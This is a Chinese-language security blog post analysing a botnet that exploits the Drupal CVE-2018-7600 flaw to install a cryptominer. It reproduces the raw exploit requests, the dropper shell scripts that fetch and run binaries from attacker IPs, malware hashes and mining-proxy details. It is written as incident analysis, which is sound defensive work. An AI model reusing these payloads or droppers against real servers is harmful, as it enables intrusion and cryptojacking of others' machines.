freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

利用Drupal漏洞进行传播的挖矿僵尸病毒分析
2018-11-16 10:00:06

*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载

一、事件背景

在对服务器进行例行性检查的时候,在一台ngix服务器的日志文件access.log里面发现了一些奇怪的访问记录,如下表所示。备注,这台Ngix 服务器安装windows10企业版操作系统,web服务器是nginx/1.12.2。

来源IP 时间 数据
85.248.227.163 16/Oct/2018:13:14:41 +0800 "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0"
85.248.227.163 16/Oct/2018:13:14:41 +0800 "GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 200 8517 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0"
85.248.227.163 16/Oct/2018:13:14:43 +0800 "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 301 185 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
85.248.227.165 16/Oct/2018:13:14:47 +0800] "GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1" 200 8517 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"  

经过整理,发现上述web访问的命令其实就是下列两行,分别用GET和POST向目标网站进行请求访问。

https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup wget –O - http://164.132.159.56/drupal/up.sh|sh 2>&1&name[#type]=markup
https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup curl http://164.132.159.56/drupal/up.sh|sh 2>&1&name[#type]=markup

乍一看,就是向服务器发送请求,利用web服务器上的一个漏洞,并要求服务器执行wget和curl命令去下载并执行up.sh脚本。可是我的服务器明明是windows操作系统,就算有漏洞触发了也不会执行该命令。因此,本次web攻击请求应该不是人工发出的(应该不会有这么蠢的黑客吧,也可能看web服务器是Ngix,就默认为类linux系统)。此外,通过网络搜索关键字,发现这段代码是Drupal远程代码执行漏洞(CVE-2018-7600)的利用方式。今年上半年,Drupal漏洞非常火爆,使得一拨又一拨的僵尸网络高潮迭起。由此可见,本次的web请求访问应该是僵尸病毒在自动化的扫描,利用Drupal漏洞进行攻击传播扩散。可是,这些病毒作者为什么就不能稍微花点功夫,先对目标网站软件环境进行判断,然后再实施下一步的实质攻击步骤呢?

尽管这次攻击没有对本地服务器产生任何危害。但是,既然不请自来,那就花点功夫研究一下吧。

1.下载脚本

直接访问http://164.132.159.56/drupal/up.sh下载up.sh,发现其内容如下:

#!/bin/sh

crontab-r;

id0="[[^$I$^]]"

id1="atnd"

ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"

if [ $?-ne 0 ];then

wget -O- http://164.132.159.56/drupal/bups.sh|sh ; curl http://164.132.159.56/drupal/bups.jpg|sh ;

else

echo"......."

fi

再次下载bups.sh和bups.jpg文件,其内容是一样的,具体内容如下:

 #!/bin/sh

id0="[[^$I$^]]"

id1="atnd"

id2="ooo"

ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"

if [ $? -ne 0 ];then

if [ -x "/var/tmp/" ] &&[ -w "/var/tmp/" ];then

rm -rf /var/tmp/.*

rm -rf /var/tmp/*

wget -O /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`

curl -o /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`

chmod +x /var/tmp/`echo $id1`

chmod 777 /var/tmp/atnd

/var/tmp/`echo $id1` &

else

rm -rf /tmp/.*

rm -rf /tmp/*

wget -O /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`

curl -o /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`

chmod +x /tmp/`echo $id1`

chmod 777 /tmp/atnd

/tmp/`echo $id1` &

fi

else

echo "Running....."

fi

上面脚本很简单,就是下载恶意软件并运行的过程。脚本首先判断是否存在名叫id0和id1的进程(如果存在说明目标系统已被感染,恶意软件已运行中)。接着判断/var/tmp目录是否存在并可执行可写,如能是,则把恶意软件下载放在该目录下,否则就放在/tmp/目录下。木马下载路径是http://164.132.159.56/drupal/2/ooo,存放在本地的名字是id1,也就是”atnd”。此外,id0参数只是简单调用了一下,说明此轮感染操作应该不是第一波,在此前的病毒传播阶段,攻击者下载恶意软件后本地保存的文件名是id0,也就是"[[^$I$^]]"。

手动访问下载ooo,其属性如下表所示。

属性
大小 21176
MD5 7fdc31d7b9fafd2fbbb4da22b3cf56a2
SHA1 4e8bdca8d9a2eec23f17206af6e9f70daad29a25

2.构建环境

本地环境是Ubuntu16.04虚拟机。把ooo文件拷贝到虚拟机下/var/tmp/atnd,执行后,发现ubuntu系统退出登录,重新输入密码,一闪又回到登录界面。晕。

通过wireshark抓包,发现测试环境和80.240.26.52以及164.132.159.56两个IP发生如下的网络连接。

1.首先访问下载http://164.132.159.56/drupal/lu.sh文件,其内容如下。

图片.png

lu.sh执行后会区访问下载bups.sh和bups.jpg,这两个文件的内容上一段已经介绍。

2.下载http://164.132.159.56/drupal/bups.sh

3.下载http:// 164.132.159.56/drupal/2/ooo

4.再次下载http:// 164.132.159.56/drupal/2/ooo

5.下载http:// 80.240.26.52/d/sss

6.下载http:// 80.240.26.52/d/lmmml

其中,步骤1-4下载的文件已经清晰,手动下载步骤5和步骤6的文件,下载后的文件信息如下表所示。

文件名 大小 MD5 SHA1
sss 16360 8a8ddce64e5dd6f5864da18d7899351c edb7aac788cb25a2f36bd71244843a9289a97d4e
lmmml 719144 2e483fe7736634134b1b0d82828f2e53 583f5a66117f76a9dea389070ed0c8470e330e47

3.相关IP初步分析

1.攻击者来源IP

从Ngix日志提取的攻击者IP为85.248.227.163和85.248.227.165。

通过ip138查询,结果如下:


开放80和443端口,直接http方式访问,显示的页面如下图所示。咦,竟然是Tor节点,上面显示了服务器的性能。利用https访问,则没有显示页面。发现域名是Enn.lu。

图片.png

在本地pingenn.lu解析结果如下:

正在Ping enn.lu [176.10.250.105] 具有 32 字节的数据:

来自176.10.250.105 的回复: 字节=32 时间=310ms TTL=47

来自176.10.250.105 的回复: 字节=32 时间=308ms TTL=47

来自176.10.250.105 的回复: 字节=32 时间=309ms TTL=47

来自 176.10.250.105 的回复: 字节=32 时间=308ms TTL=47

IP地址不一样,而且直接访问enn.lu网站都是直接跳转到https访问方式,其首页界面如下图所示。

图片.png

看来很有可能是假冒页面。

直接在http://85.248.227.163查看其源代码,果不其然,该页面只是简单的链接到enn.lu网站。

此外,除了日志中发现的85.248.227.163和85.248.227.165地址外,还发现85.248.227.164地址与它们功能相同,三者网站页面都是假冒的Enn.lu域名,也就是说,攻击者至少拥有或控制这三个IP地址的主机。

2.http下载地址分析

所有的sh脚本都是通过访问164.132.159.56下载的。IP查询结果如下。

_______________________________________ 

您查询的IP:164.132.159.56

•本站数据:法国

•参考数据1:法国法国ovh.com

•参考数据2:意大利

•兼容IPv6地址:::A484:9F38

•映射IPv6地址:::FFFF:A484:9F38

________________________________________

直接用浏览器进行http访问,结果如下所示。 

Not Found

The requested URL / was not found on this server.

________________________________________

Apache/2.4.18 (Ubuntu) Server at 164.132.159.56 Port 80

3.ooo通联地址

ooo程序运行后会访问下载80.240.26.52地址用于下载sss以及lmmml程序。对地址80.240.26.52的查询结果如下。

________________________________________

您查询的IP:80.240.26.52

本站数据:希腊

参考数据1:希腊希腊

参考数据2:希腊

兼容IPv6地址:::50F0:1A34

映射IPv6地址:::FFFF:50F0:1A34

________________________________________

直接浏览器访问后的结果如下:

403 Forbidden

________________________________________

nginx/1.10.3 (Ubuntu)

二、程序分析

1.ooo程序

1.循环kill进程

读取/proc/下的进程列表,如果进程PID<=1000则不处理,否则杀掉原来设定的病毒进程名字,比如atnd、[^$I$^]。代码如下图所示:

图片.png2.判读目录是否存在可写,下载相应文件到本地并执行:

图片.png

3.网络下载的函数:

图片.png4.定时任务,如果有wget用wget下载命令,否则用curl下载命令。把下载命令用base64编码后,生成定时任务命令。

图片.png5.while循环操作,杀进程,下载执行、sleep:

图片.png

2.lmmml程序

拷贝lmmml到桌面下,直接运行后,发现lmmml其实是一个挖矿程序。

1.进程改名

Lmmml运行后的进程改名为[^$I$^]。

图片.png

图片.png

2.矿池分析

它连接的矿池是:95.179.153.229:7777。

图片.png对其利用IDA反汇编可以看到,其连接的矿池地址有两个,分别是95.179.153.229的7777和80端口。如下图所示:

图片.png

可是,网络抓包发现它登录的挖矿帐号和密码竟然都是设置成x,并没有发送实际的挖矿帐号,很奇怪。

{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"http","algo":["cn","cn/2","cn/1","cn/0","cn/xtl","cn/msr","cn/xao","cn/rto"]}}

浏览器直接访问95.179.153.229的80端口和7777登录,发现返回字符串”Mining Proxy Online”。看来该台服务器是攻击者自架设的一个挖矿代理服务器。同时,在对lmmml静态反汇编分析的时候,发现与此前发现的挖矿代码不同,作者应该是自己重新修改编译了源代码,变化非常大,此前常见的静态字符串都做了处理。

结合挖矿的帐号设置成x,是否有可能是作者自己修改编译了mining-proxy的代码,把所有的被感染机器发送过来的账号x都在proxy端再进行重新设置,然后发送给实际的矿池,从而形成统一挖坑又保护自身挖坑账号的目的,不让分析的人员知道该账户的具体情况(比如实际收益情况等)。

三、结束语

通过上述简单分析,大致可以得出下列结论:

1.该次web服务器的网络异常请求访问应该是一次来自僵尸病毒的自动攻击行为;

2.该僵尸病毒利用Drupal漏洞进行传播;

3.该僵尸病毒已经实施了多波次的感染行动;

4.攻击者主要目的用于挖矿,可根据需要随时更换恶意代码功能文件。至于目前挖矿的账号用x是否如分析的一样有待商榷。

5.攻击者利用的资源比较分散,比如85.248.227.163/85.248.227.164/85.248.227.165三个IP地址用于伪造网站与实施Drupal漏洞攻击,164.132.159.56用于下载攻击脚本文件, 80.240.26.52用于病毒实体文件的下载。

*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载

# drupal # 挖矿 # 僵尸病毒
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者